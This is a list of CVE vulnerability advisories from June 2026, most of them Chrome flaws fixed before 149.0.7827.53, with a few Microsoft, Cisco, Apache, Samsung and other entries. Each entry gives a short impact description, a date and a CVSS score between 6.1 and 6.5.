CVE-2026-10993	google - chrome	Heap buffer overflow in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-10994	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-10996	google - chrome	Inappropriate implementation in Workers in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-10997	google - chrome	Insufficient policy enforcement in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass discretionary access control via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-10999	google - chrome	Integer overflow in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11001	google - chrome	Inappropriate implementation in Payments in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11006	google - chrome	Out of bounds read in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5

CVE-2026-11007	google - chrome	Insufficient validation of untrusted input in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11008	google - chrome	Insufficient validation of untrusted input in WebAppInstalls in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11013	google - chrome	Insufficient validation of untrusted input in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11014	google - chrome	Insufficient policy enforcement in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass site isolation via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11016	google - chrome	Insufficient validation of untrusted input in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11017	google - chrome	Inappropriate implementation in Link Preview in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11018	google - chrome	Insufficient policy enforcement in Actor in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11019	google - chrome	Inappropriate implementation in Payments in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform domain spoofing via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11020	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted XML file. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11022	google - chrome	Insufficient validation of untrusted input in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11023	google - chrome	Inappropriate implementation in WebAppInstalls in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11025	google - chrome	Insufficient policy enforcement in Navigation in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11026	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11027	google - chrome	Insufficient validation of untrusted input in Glic in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11032	google - chrome	Inappropriate implementation in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11033	google - chrome	Uninitialized Use in WebML in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11036	google - chrome	Inappropriate implementation in DOM in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11038	google - chrome	Insufficient policy enforcement in Subresource Integrity in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass content security policy via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11039	google - chrome	Uninitialized Use in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11044	google - chrome	Integer overflow in ANGLE in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11045	google - chrome	Insufficient validation of untrusted input in GPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11048	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass same origin policy via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11051	google - chrome	Out of bounds read in ANGLE in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11057	google - chrome	Uninitialized Use in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11064	google - chrome	Race in GPU in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11067	google - chrome	Uninitialized Use in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5

CVE-2026-11069	google - chrome	Insufficient validation of untrusted input in Cast in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11073	google - chrome	Use after free in WebGL in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11075	google - chrome	Out of bounds read in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11078	google - chrome	Inappropriate implementation in FileSystem in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11081	google - chrome	Inappropriate implementation in Canvas in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11083	google - chrome	Inappropriate implementation in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11084	google - chrome	Inappropriate implementation in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11087	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11089	google - chrome	Uninitialized Use in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11090	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11093	google - chrome	Inappropriate implementation in Printing in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11096	google - chrome	Out of bounds read in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11097	google - chrome	Inappropriate implementation in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11101	google - chrome	Uninitialized Use in Dawn in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11104	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11105	google - chrome	Insufficient validation of untrusted input in WebUI in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11106	google - chrome	Inappropriate implementation in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11109	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11110	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11121	google - chrome	Insufficient validation of untrusted input in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11123	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11127	google - chrome	Inappropriate implementation in WebAPKs in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform domain spoofing via a crafted WebAPK. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11128	google - chrome	Inappropriate implementation in Web Share in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11129	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11132	google - chrome	Insufficient policy enforcement in Paint in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11133	google - chrome	Insufficient policy enforcement in Paint in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11134	google - chrome	Inappropriate implementation in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11135	google - chrome	Insufficient policy enforcement in Autofill in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5

CVE-2026-11137	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11138	google - chrome	Uninitialized Use in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11139	google - chrome	Inappropriate implementation in Paint in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11140	google - chrome	Out of bounds read in Chromecast in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11141	google - chrome	Uninitialized Use in Audio in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11142	google - chrome	Insufficient policy enforcement in Paint in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11143	google - chrome	Out of bounds read in Extensions in Google Chrome on Linux prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11148	google - chrome	Inappropriate implementation in Payments in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11160	google - chrome	Out of bounds read in Input in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11168	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11176	google - chrome	Inappropriate implementation in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11180	google - chrome	Inappropriate implementation in SVG in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11182	google - chrome	Inappropriate implementation in SVG in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11183	google - chrome	Out of bounds read in GWP-ASan in Google Chrome prior to 149.0.7827.53 allowed a local attacker to obtain potentially sensitive information from process memory via a malicious file. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11189	google - chrome	Insufficient validation of untrusted input in DevTools in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11190	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass discretionary access control via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11193	google - chrome	Insufficient policy enforcement in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11194	google - chrome	Inappropriate implementation in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11195	google - chrome	Inappropriate implementation in MHTML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11196	google - chrome	Type Confusion in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted XML file. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11197	google - chrome	Insufficient policy enforcement in Workers in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11200	google - chrome	Inappropriate implementation in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11203	google - chrome	Inappropriate implementation in GPU in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11204	google - chrome	Inappropriate implementation in Signin in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11206	google - chrome	Insufficient policy enforcement in ServiceWorker in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11208	google - chrome	Use after free in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11209	google - chrome	Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5

CVE-2026-11210	google - chrome	Inappropriate implementation in Safe Browsing in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted RAR file. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11214	google - chrome	Inappropriate implementation in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11215	google - chrome	Inappropriate implementation in Cronet in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Medium)	2026-06-04	6.5
CVE-2026-11217	google - chrome	Inappropriate implementation in Fenced Frames in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11220	google - chrome	Insufficient validation of untrusted input in Navigation in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11222	google - chrome	Incorrect security UI in Tab Strip in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11223	google - chrome	Insufficient validation of untrusted input in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11225	google - chrome	Inappropriate implementation in WebUI in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11226	google - chrome	Insufficient policy enforcement in PreviewTab in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-11227	google - chrome	Incorrect security UI in Tab Hover Cards in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform domain spoofing via a crafted domain name. (Chromium security severity: Low)	2026-06-04	6.5
CVE-2026-42824	microsoft - copilot	Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.	2026-06-04	6.5
CVE-2026-47644	microsoft - copilot_chat	Improper neutralization of special elements in output used by a downstream component ('injection') in Copilot Chat (Microsoft Edge) allows an unauthorized attacker to disclose information over a network.	2026-06-04	6.5
CVE-2026-47655	microsoft - Microsoft Graph	Exposure of sensitive information to an unauthorized actor in Microsoft Graph allows an authorized attacker to disclose information over a network.	2026-06-04	6.5
CVE-2026-11258	google - chrome	Inappropriate implementation in File System Access in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11263	google - chrome	Insufficient policy enforcement in WebAuthentication in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11268	google - chrome	Uninitialized Use in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11270	google - chrome	Inappropriate implementation in UI in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11271	google - chrome	Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11275	google - chrome	Inappropriate implementation in Page Info in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11278	google - chrome	Inappropriate implementation in CustomTabs in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11283	google - chrome	Insufficient validation of untrusted input in Shortcuts in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a malicious file. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11284	google - chrome	Side-channel information leakage in PerformanceAPIs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11287	google - chrome	Insufficient policy enforcement in Navigation in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11288	google - chrome	Insufficient policy enforcement in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11289	google - chrome	Side-channel information leakage in Paint in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2026-11299	google - chrome	Integer overflow in Fonts in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.5
CVE-2025-59610	qualcomm - snapdragon_g1_gen_2_gaming_platform_firmware	Memory Corruption when processing IOCTL requests with mismatched API versions due to concurrent modification of user-space buffer.	2026-06-01	6.4
CVE-2026-21026	samsung - multiple products	Improper export of android application components in SpriteWallpaper prior to SMR Jun-2026 Release 1 allows local attackers to access to sensitive information.	2026-06-05	6.4
CVE-2026-21030	samsung - multiple products	Improper access control in MediaTek Audio HAL prior to SMR Jun-2026 Release 1 allows local attackers to trigger privileged functions.	2026-06-05	6.4

CVE-2026-11181	google - chrome	Inappropriate implementation in Media Session in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.3
CVE-2026-11184	google - chrome	Insufficient policy enforcement in Actor in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.3
CVE-2026-11187	google - chrome	Inappropriate implementation in Glic in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.3
CVE-2026-11308	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to perform privilege escalation via a crafted Chrome Extension. (Chromium security severity: Low)	2026-06-05	6.3
CVE-2026-0046	google - multiple products	In InputInterceptor of Letterbox.java, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.2
CVE-2026-0055	google - multiple products	In createSessionInternal of PackageInstallerService.java, there is a possible to update a Device Policy Controller (DPC) into an invalid directory due to a path traversal error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.2
CVE-2026-42253	apache - multiple products	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache ActiveMQ, Apache ActiveMQ Web. The MessageServlet in the ActiveMQ web console API copies every JMS message property into an HTTP response header without any validation. This can allow overwriting and injecting security headers by setting them on JMS messages that are returned by the servlet. This issue affects Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ Web: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue. The MessageServlet has now been deprecated and disabled by default.	2026-06-01	6.1
CVE-2026-40713	dell - thinos	Dell ThinOS 10, versions prior to ThinOS10 2602_10.0765, contain an Improper Access control vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to Information exposure.	2026-06-02	6.1
CVE-2026-20175	cisco - Cisco Finesse	A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks. This vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.	2026-06-03	6.1
CVE-2026-20233	cisco - multiple products	A vulnerability in the web-based user interface of Cisco Webex Meetings could have allowed an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Cisco has addressed this vulnerability in the Webex Meetings service, and no customer action is needed. This vulnerability existed because of insufficient validation of user input. Prior to this vulnerability being addressed, an attacker could have exploited this vulnerability by persuading a user to follow a malicious link. A successful exploit could have allowed the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information.	2026-06-03	6.1
CVE-2026-10916	google - chrome	Insufficient validation of untrusted input in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.1
CVE-2026-11034	google - chrome	Insufficient validation of untrusted input in Tab Group Sync in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	6.1
CVE-2026-11122	google - chrome	Inappropriate implementation in Keyboard in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.1
CVE-2026-11150	google - chrome	Inappropriate implementation in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.1
CVE-2026-11186	google - chrome	Inappropriate implementation in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.1
